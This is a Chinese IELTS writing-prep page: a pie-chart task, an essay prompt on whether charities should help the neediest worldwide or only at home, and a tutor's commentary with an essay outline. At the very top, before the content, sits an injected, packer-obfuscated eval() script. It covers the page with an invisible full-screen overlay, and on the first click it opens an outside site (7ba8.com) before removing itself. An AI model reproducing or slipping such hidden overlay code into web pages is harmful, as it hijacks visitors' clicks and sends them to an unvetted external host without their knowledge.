<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>写作题目：
Task 1
* The charts below show the reasons why people left the UK and why people stayed in the UK.
* Two pie charts.
Task 2
* Some people think that charity organisations should help people in greatest need of help, wherever they live. However, others think that they should help people in their own country. Discuss the two arguments and give your opinion.
胡伟点评：
* Task 1 是两饼图，如果你有看本人2010年1月6日博客《小作文提高：饼图（pie chart）写作经典范例鉴赏 》将很好写，关键是要比较两图的数据。
* Task 2 的作文题目与2009年11月21日大作文题目似乎如出一辙，试比较： Individuals and countries can not help everyone who needs help in the world, so we should be only concerned about our own communities and countries. To what extent do you agree or disagree? 问题属于“双边讨论 + 自己观点”型，考生应该很好设计文章总体段落架构，而题目中两命题的核心是 “慈善机构帮助对象的选择问题”，即到底是“无论哪里的”还是“本国的”好的问题，估计对很多考生而言不易展开讨论。
写作建议:
建议你站在某慈善机构负责人的高度去思考问题。试想，你是某一慈善机构的总裁，你能接受“帮助最需要帮助的人，无论他们来自哪里”和“帮助本国最需要帮助的人”两种不一样的服务理念吗？（两种观点分析如下）。
l 针对第一种观点的分析：
n （先让步，肯定该想法） 在这世界上，有许多需要我们帮助的人。在这大背景下，一些人提出“慈善机构应该帮助最需要帮助的人，无论他们来自哪里” 的想法的确很不错，这是慈爱的一种最高境界，如果将之付诸于实践，必将给全世界众多需要帮助的人带去福音。
n （后强烈反驳） 但是，一般来说，慈善机构开展的慈善项目、选择的资助对象大多限于本机构所能辐射的范围内。试问，一个校级的红十字（如，大学里的）有能力资助世界上无论来自哪里的最需帮助的人吗？当然不可能，根本就没有那样的财力！当然，也有一些国际慈善机构，例如世界儿童基金会WCF(World Child Foundation)，把资助范围定位于全球，即便如此，其资助对象也限定在特定的人群，即世界各地最需帮助的儿童，而对其他年龄段的最需要帮助的人则根本不资助。
n （得出结论） 该观点是一种理想主义，但现实可行性相对较差，不过，可以作为慈善机构为之努力奋斗的目标。
l 针对第二种观点的分析：
n （先让步，肯定该想法）一国的慈善机构帮助本国最需要帮助的人是天经地义的事情。试问，假如中国的慈善机构不对四川大地震的灾民进行慈善救济，反而跑去非洲资助一些难民，而我们的四川灾民却只好等待国外的慈善救济，你认同吗？这不仅是一个道德问题，还会上升成为一个严肃的国际政治问题呢！
n （后点出一点不足，提出一点期待）当然，对于一国某些现在或将来有能力的大型慈善机构，不管是官方的、半官方的，还是非官方的，在政府允许、财力允许等前提下，不能仅限于帮助本国最需帮助的人，还可以把帮助对象扩展到世界上其他国家的最需要帮助的人。
l 基于上述讨论，确立自己观点：
n 我们看问题，要具体问题具体分析，不能一概而论。至于一国的慈善机构帮助对象的选择问题，我个人认为，首先要立足于国内，然后才是放眼于世界；而世界性慈善机构则应尽可能多地帮助世界各地最需帮助的人。
更多信息，请关注滴答雅思论坛 |
收藏